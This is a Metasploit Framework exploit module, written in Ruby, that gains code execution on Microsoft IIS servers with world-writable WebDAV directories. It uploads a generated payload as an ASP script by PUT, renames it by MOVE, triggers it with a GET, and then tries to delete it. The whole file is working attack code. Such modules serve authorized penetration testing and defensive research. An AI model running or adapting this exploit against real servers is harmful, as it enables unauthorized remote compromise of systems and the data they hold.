1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 |
## # $Id: iis_webdav_upload_asp.rb 10397 2010-09-20 15:59:46Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize super( 'Name'=> 'Microsoft IIS WebDAV Write Access Code Execution', 'Description'=> %q{ This module can be used to execute a payload on IIS servers that have world-writeable directories. The payload is uploaded as an ASP script using a WebDAV PUT request. }, 'Author'=> 'hdm', 'Version' => '$Revision: 10397 $', 'Platform'=> 'win', 'References'=> [ ['OSVDB', '397'], ['BID', '12141'] ], 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jan 01 1994' ) register_options( [ OptString.new('PATH', [ true,"The path to attempt to upload", '/metasploit%RAND%.asp']) ], self.class) end def exploit # Generate the ASP containing the EXE containing the payload exe= generate_payload_exe asp= Msf::Util::EXE.to_exe_asp(exe) path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s) path_tmp= path.gsub(/\....$/, ".txt") # # UPLOAD # print_status("Uploading #{asp.length} bytes to #{path_tmp}...") res = send_request_cgi({ 'uri'=>path_tmp, 'method' => 'PUT', 'ctype'=> 'application/octet-stream', 'data' => asp, }, 20) if (! res) print_error("Upload failed on #{path_tmp} [No Response]") return end if (res.code < 200 or res.code >= 300) print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]") case res.code when 401 print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end return end # # MOVE # print_status("Moving #{path_tmp} to #{path}...") res = send_request_cgi({ 'uri'=>path_tmp, 'method' => 'MOVE', 'headers'=> {'Destination' => path} }, 20) if (! res) print_error("Move failed on #{path_tmp} [No Response]") return end if (res.code < 200 or res.code >= 300) print_error("Move failed on #{path_tmp} [#{res.code} #{res.message}]") case res.code when 401 print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") when 403 print_status("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.") end return end # # EXECUTE # print_status("Executing #{path}...") res = send_request_cgi({ 'uri'=>path, 'method' => 'GET' }, 20) if (! res) print_error("Execution failed on #{path} [No Response]") return end if (res.code < 200 or res.code >= 300) print_error("Execution failed on #{path} [#{res.code} #{res.message}]") return end # # DELETE # print_status("Deleting #{path}, this doesn't always work...") res = send_request_cgi({ 'uri'=>path, 'method' => 'DELETE' }, 20) if (! res) print_error("Deletion failed on #{path} [No Response]") return end if (res.code < 200 or res.code >= 300) print_error("Deletion failed on #{path} [#{res.code} #{res.message}]") return end handler end end |